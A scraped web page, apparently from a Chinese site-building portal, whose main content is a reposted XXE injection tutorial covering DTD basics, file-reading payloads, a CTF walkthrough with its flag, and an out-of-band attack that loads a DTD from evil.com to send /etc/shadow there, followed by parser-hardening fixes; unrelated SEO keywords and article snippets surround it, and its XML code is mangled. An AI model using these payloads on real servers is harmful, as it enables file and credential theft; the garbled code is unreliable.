舟山集团网站建设网络公司 网站源码

张小明 2026/1/19 19:18:20
舟山集团网站建设,网络公司 网站源码,上海网站推广服务公司,电商设计模板声明#xff1a;本篇文章不涉及实际的攻击渗透等#xff0c;均在自己搭建的靶机下进行操作。仅限用于合法授权的安全测试、技术研究与学习交流目的#xff0c;禁止非法用途#xff0c;任何因违反此条约定而产生的全部法律责任及后果#xff0c;均需由您自行独立承担。 1.X…声明本篇文章不涉及实际的攻击渗透等均在自己搭建的靶机下进行操作。仅限用于合法授权的安全测试、技术研究与学习交流目的禁止非法用途任何因违反此条约定而产生的全部法律责任及后果均需由您自行独立承担。1.XXE攻击概述定义XXE攻击是一种利用XML解析器处理外部实体的能力通过构造恶意XML数据来执行攻击的技术。原理攻击者通过在XML数据中注入恶意的外部实体引用当程序解析该XML数据时会触发对外部实体的请求从而可能执行任意代码、读取敏感文件或发起其他攻击。2.XML和外部实体XML一种用于标记电子文件的标记语言具有结构性可用于标记数据和定义数据类型。XML 被设计为传输和存储数据其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息。XML 允许创作者定义自己的标签和自己的文档结构。语法XML元素都必须有关闭标签。XML 标签对大小写敏感。XML 必须正确地嵌套。XML 文档必须有根元素。XML 的属性值须加引号。结构XML 文档声明在文档的第一行XML 文档类型定义即DTDXXE 漏洞所在的地方XML 文档元素外部实体XML中的一种特性允许在XML文档中引用外部资源。攻击者可以利用这一点来引入恶意的外部实体。3.PHP中的XXE漏洞libxmlPHP中用于解析XML的库。从版本2.9.0开始libxml默认禁止解析外部实体以防止XXE攻击。模拟漏洞如果测试环境中的PHP使用的libxml版本大于2.9.1可以通过手动指定LIBXML_NOENT选项来开启外部实体解析功能从而模拟XXE漏洞。4.安全建议更新库版本确保使用最新版本的XML解析库以利用其内置的安全特性。禁用外部实体在生产环境中应始终禁用对外部实体的解析以防止XXE攻击。输入验证对所有用户输入进行严格的验证和过滤以防止恶意XML数据的注入。XXEXML External Entity 即外部实体从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时解析了攻击者伪造的外部实体而产生的。XML用于标记电子文件使其具有结构性的标记语言可以用来标记数据、定义数据类型是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义可选、文档元素。其实XML是一门语言类似于html但是后来主要用xml的文档格式来传输数据但是现在比较新的系统大家之前传输数据用的都是json了。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的就是libxml,其在2.9.0的版本中默认是禁止解析xml外部实体内容的。如果你测试用的php中解析xml用的libxml的版本大于了2.9.1为了模拟漏洞,那么可以通过手动指定LIBXML_NOENT选项开启xml外部实体解析功能。详细教程https://www.w3school.com.cn/xml/xml_tree.asp5.XXE漏洞原理漏洞成因解析时未对XML外部实体加以限制导致攻击者将恶意代码注入到XML中导致服务器加载恶意的外部实体引发文件读取SSRF命令执行等危害操作。6.文档结构?xml version1.0 encodinggb2312 encodingUTF-8? //xml声明、版本、编码!DOCTYPE root SYSTEM http://www.xxx.com/file //定义DTD文件格式为:root指根节点名称system声明要使用的外部DTD文件路径后面加文件URL注意[]包裹。ELEMENT root (other) //元素声明声明xml中包含的元素声明中需要指定元素名称root、other等和元素类别、内容等ELEMENT to (#PCDATA) //--定义to元素为#PCDATA类型--ELEMENT generality content //ELEMENT标签用于声明实体关于实体的定义如下“实体”是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在DTD文件中定义的变量xml解析器解析xml文件的时候会将被引用的值替换为实体内容实体分为预定义实体、普通实体、参数实体此处定义了普通实体generality内容为contentELEMENT % extendity SYSTEM http://www.xxx.com/file //定义参数实体格式为!ELEMENT % 参数名称 参数内容 引用格式%参数名称; 参数实体只能在DTD文件中引用内部DTD文件的参数引用只能出现于DTD标签可出现的位罝外部DTD文件参数实体的引用可以出于DTD标签内容比如!ELEMENT % Nanother %extendity; //引用参数外部实体7.DTD的基础知识7.1文档类型定义DTDDocument Type Definition 即文档类型定义用来为XML文档定义语法约束。可以嵌入在XML文档中(内部声明)也可以独立的放在一个文件中(外部引用)由于其支持的数据类型有限无法对元素或属性的内容进行详细规范在可读性和可扩展性方面也比不上XML Schema。这里也就是XXE存在的地方。参考链接http://www.w3school.com.cn/dtd/index.asp7.2作用DTD 主要用于指定 XML 或 HTML 文档中元素、属性、实体等的定义和规范。使用 DTD 可以定义标记、元素、实体、注释等从而确保 XML 或 HTML 等文档的结构和格式的正确性。DTD 可以内联在 XML 或 HTML 文档中也可以作为一个外部文件引用以进行重复使用。通过使用 DTD 可以实现文档的可验证性验证文档结构是否符合规范、可读性便于人类理解和可扩展性方便增加和调整文档内容。7.3DTD文档的三种格式1.内部DTD文档!DOCTYPE 根元素[定义内容]2.外部DTD文档!DOCTYPE 根元素 SYSTEM DTD文件路径3.内外部DTD文档结合!DOCTYPE 根元素 SYSTEM DTD文件路径 [定义内容]7.4基本的PAYLOAD结构对于安全人员来讲就认识下面的几行代码即可。首先了解下基本的PAYLOAD结构然后再介绍每部分涉及的知识点如下PAYLOAD开头进行了XML的声明然后使用DTD声明实体(这里使用了们e协议)最后使用XML获取实体的数据。上面的fles///etc/passwd这是直接读取服务器的/passwd文件内容。最后XML部分就是调用DTD的foo功能也就是调用xxe取出数据然后显示基本上任何xxe的攻击代码都是这么几部分。使用DTD实体的攻击方式DTD引用方式(简要了解)1. DTD内部声明!DOCTYPE 根元素 [元素声明]2. DTD外部引用!DOCTYPE 根元素名称 SYSTEM 外部DTD的URI3. 引用公共DTD!DOCTYPE 根元素名称 PUBLIC DTD标识名 公用DTD的URI7.5示例pikachu测试一下payload如下:而且你需要掌握的代码就这几行?xml version 1.0?!DOCTYPE ANY [!ENTITY f SYSTEM file:///C://1.txt]xf;/x先创建一个1.txt文件8.如何找xxe漏洞8.1找一些可提交数据的地方8.2抓包修改数据类型json转xml将json数据改为xml数据完成xxe攻击jarvisoj上的一道题目API调用这道题的题目说明是请设法获得目标机器/home/ctf/flag.txt中的flag值。进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框对其进行抓包。是一个json数据提交修改数据发现可以被解析修改为xml。成功获取到flagCTF{XxE_15_n0T_S7range_Enough}9.XXE攻击情况9.1两种情况有回显和无回显有回显就是请求有响应数据能看到无回显就是看不到响应数据9.2有回显特征​​攻击结果如文件内容、服务器响应直接显示在应用响应中。利用流程​​​​构造恶意XML?xml version1.0?!DOCTYPE data [!ENTITY exfil SYSTEM file:///C:/Windows/win.ini]dataexfil;/data发送请求通过HTTP POST上传XML数据至漏洞接口。结果回显响应中显示win.ini文件内容。; for 16-bit app support...[fonts]9.3无回显方式1让目标网站报错在报错信息中查看外带的目标服务器的敏感数据。目的通过触发目标网站的错误使其在错误信息中暴露敏感数据。步骤1注入恶意XML攻击者向目标服务器发送包含恶意外部实体的XML请求。2触发错误服务器在解析恶意XML时出错导致错误信息被记录或显示。3查看错误信息攻击者在错误信息中查找泄露的敏感数据如文件路径、数据库连接信息等。方式2通过请求的方式将目标服务器的敏感数据外带到攻击者的日志记录中。目的通过构造特定的请求将目标服务器的敏感数据外带到攻击者可以访问的地方。步骤1注入恶意XML攻击者向目标服务器发送包含恶意外部实体的XML请求。2外带数据恶意外部实体引用服务器上的敏感文件或数据并将其包含在响应中。3访问日志攻击者通过访问自己的请求日志获取包含敏感数据的响应内容。1.特征目标应用不返回敏感数据需通过DNS/HTTP请求外传数据到攻击者服务器。2.攻击流程1准备恶意DTD托管在攻击者服务器 http://evil.com/xxe.dtd!ENTITY % payload SYSTEM file:///etc/shadow!ENTITY % param !ENTITY % exfil SYSTEM http://evil.com/?leak%payload;%param;%exfil;注使用%声明参数实体仅在DTD中有效。2发送攻击XML?xml version1.0?!DOCTYPE data [!ENTITY % remote SYSTEM http://evil.com/xxe.dtd%remote; !-- 加载外部DTD --]data123/data3数据外传目标服务器解析XML → 加载外部DTDDTD中的%payload;读取本地文件通过%exfil;触发HTTP请求将文件内容拼接在URL参数中发送至evil.com10.XXE漏洞修复与防御1. 提高版本2. 代码修复PHPlibxml_disable_entity_loader(true);JAVADocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);setFeature(http://xml.org/sax/features/external-general-entities, false);setFeature(http://xml.org/sax/features/external-parameter-entities, false);Pythonfrom lxml import etreexmlData etree.parse(xmlSource, etree.XMLParser(resolve_entitiesFalse))3. 手动黑名单过滤(不推荐)过滤关键词!DOCTYPE、!ENTITY SYSTEM、PUBLIC
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

如何申请网站域名企业名录搜索

在当今数据驱动的时代,数据可视化工具已成为数据分析师和产品经理的必备技能。本文将带你深入了解如何利用现代数据可视化工具快速创建专业级图表,彻底告别传统图表制作的复杂流程。 【免费下载链接】charticulator Interactive Layout-Aware Constructi…

张小明 2026/1/17 21:48:04 网站建设

wordpress 做影视站网站开发7个基本流程图

Excalidraw NLP指令解析引擎架构设计 在技术团队频繁进行架构讨论的今天,一个常见的场景是:会议室里大家激烈争论系统模块如何划分,白板上草图不断被擦写修改。会后却发现,那些关键的设计思路并未完整保留下来——要么是手绘太潦…

张小明 2026/1/17 21:48:05 网站建设

宜宾网站开发站长工具seo综合查询关键词

Windows系统注册表设置与策略配置详解 1. 注册表关键值介绍 ShowLogonOptions :这是一个 REG_DWORD 值,用于指定在“登录到Windows”对话框打开时是否显示登录选项。该对话框有一个“选项”按钮,可交替隐藏和显示“域”框以及“使用拨号连接登录”选项。若此值为 0x01 …

张小明 2026/1/17 21:48:07 网站建设

自动化科技产品网站建设福州seo视频

在后端面试中,只要简历上写了 Redis,这道题是100% 必问的: “怎么保证缓存和数据库的数据一致性?” 因为在生产环境中,细节才是魔鬼。今天我们就从“青铜”到“王者”,拆解 4 种方案,并揭秘3 个…

张小明 2026/1/17 21:48:08 网站建设

如何做网站新手引导晋中品牌网站建设建设

引言 在金融行业快速变革的当下,银行项目管理已成为提升运营效率、实现战略目标的关键手段。通过系统化的方法,银行能够有效整合资源、控制风险,确保项目从启动到收尾的全流程顺利推进。本文将深入探讨银行项目管理的核心要素、常见挑战及高效…

张小明 2026/1/17 21:48:09 网站建设

怎样做网络推广话术衡水seo外包

大家好,我是jobleap.cn的小九。 Python 的 queue 库是标准库中专门提供线程安全队列的模块,核心用于多线程场景下的任务分发、数据传递,解决线程间的同步与通信问题。该库实现了 FIFO(先进先出)、LIFO(后进…

张小明 2026/1/19 0:25:58 网站建设